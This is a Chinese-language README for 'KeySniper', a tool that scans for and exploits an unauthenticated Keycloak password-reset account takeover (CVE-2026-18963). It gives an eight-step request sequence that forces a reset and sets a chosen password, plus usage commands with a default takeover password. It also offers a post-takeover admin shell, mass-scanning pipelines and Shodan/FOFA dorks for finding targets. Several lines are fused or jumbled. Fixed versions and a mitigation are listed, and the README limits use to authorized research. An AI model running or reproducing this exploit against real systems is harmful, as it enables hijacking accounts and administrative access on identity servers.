
作者: Mitsec — x.com/ynsmroztas
CVE-2026-18963 — 通过重置凭据流程实现未认证的 Keycloak 账户接管。
KeySniper 是一款面向生产环境的扫描器,适用于范围内的漏洞赏金和授权评估:实时雷达输出、领域(realm)发现、检测与接管区分、交互式 ATO 后 Shell,以及标准输入管道(subfinder → httpx → KeySniper)。
默认模式为检测(--takeover 0)。--takeover 1 会修改目标上的账户密码。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — 弱密码恢复机制 |
| CVSS | 9.1(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 产品 | Keycloak / Red Hat SSO |
| 修复版本 | 26.7.2、26.6.6、26.4.15 |
| 认证 | 无 |
两个漏洞被串联利用:
tryAnotherWay 存储了一个通用的 "true" 选择器备注,该备注未限定在执行 ID 范围内。ResetCredentialEmail.action() 调用 context.success() 时未验证 ACTION_TOKEN_USER_ID。结果:未认证的调用者可以针对已知用户名强制触发密码重置流程,并在无需点击邮件链接的情况下进入 UPDATE_PASSWORD 页面。
扫描并非“存在忘记密码功能”。确认条件为:
execution= UUID 发生变化(邮件执行 ID 泄露)kc-passwd-update-formexec3 = 28e2cd30-… (第一个选择器)
exec6 = 8fd21174-… (枢轴 GET)
UPDATE_PASSWORD
[radar] 日志(Location、JS、请求头、领域探测)302 Location + HTML/JS + well-known + 字典/auth 前缀自动检测httpx / subfinder 的标准输入 URL--takeover 0 仅检测--takeover 1 设置密码(默认 SelaM1337@@)--shell ATO 后交互式令牌 / 管理员 API 辅助VULN / ATO 红色,SAFE 绿色,SKIP 黄色python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
需要 Python 3.9+。
# 检测(不修改密码)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# 接管 + 交互式 Shell
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# 指定领域 / 用户
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# 管道
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# 列表文件
python3 KeySniper.py -l urls.txt --takeover 0 -q
不要在管道批量扫描时传递 --takeover 1 或 --shell。
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ 忘记密码链接(reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<user>
[5] GET startSessionPolling / restart(如存在)
[6] GET 原始 reset-credentials URL(枢轴)
→ 选择器重新渲染 + 新的 execution=
[7] POST 过期选择器(无操作令牌)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (仅当 --takeover 1)
→ HTTP 302 + code= ⇒ ATO
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak
leak-no-update 不计为 VULN。
仅在单个目标上出现 [ATO] 后开启:
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
使用资源所有者密码授权(admin-cli,然后 account)。
/admin/realms 返回 HTTP 403 表示 Direct Access Grants / 管理员角色受限 — ATO 仍然可能有效。
/realms/master,然后探测 /auth/realms/masterLocation、HTML、JS、"realm":、issuer 中收集领域/realms/{name} 返回 200 且包含 Keycloak 响应体的领域/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA(项目范围内):
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/ 上的任何 200 响应均被忽略,除非响应体包含 issuer / public_key / login-actionsSKIP(该领域已禁用重置)kc-passwd-update-form → SKIPhttpx 路径被剥离至源站(保留 /auth)Keycloak < 26.7.2(同时包括 26.6.x < 26.6.6、26.4.x < 26.4.15)。
缓解措施:在每个领域上禁用忘记密码功能,然后升级。
本仓库中的截图已做脱敏处理(sso.lab.local 占位符)。令牌、密码、邮箱和真实主机均未公开。
Mitsec
X: x.com/ynsmroztas
仅限对范围内授权目标进行研究使用。请勿在范围外主机上使用 --takeover 1。
| 参数 | 默认值 | 含义 |
|---|
-u URL | — | 单个目标 |
-l FILE | — | URL 列表 |
| 标准输入 | 自动 | httpx 行(第一个字段 = URL) |
--takeover 0|1 | 0 | 检测 vs 修改密码 |
-U USER | admin | 目标用户名 |
-r REALM | auto | 强制指定领域或自动发现 |
--pass | SelaM1337@@ | takeover=1 时的新密码 |
-t N | 4 | 管道线程数 |
-q | 关闭 | 仅输出结果 |
--shell | 关闭 | ATO 后 Shell(仅限单个目标) |
| 状态 | 含义 |
|---|
VULN | 枢轴 + UPDATE_PASSWORD(密码未修改) |
ATO | 第 8 步成功 |
SAFE | 重置开放,无过期选择器(已修复) |
SKIP | 非 Keycloak / 重置已禁用 / 泄露但无 UPDATE 表单 |
FAIL | 网络 / 意外异常 |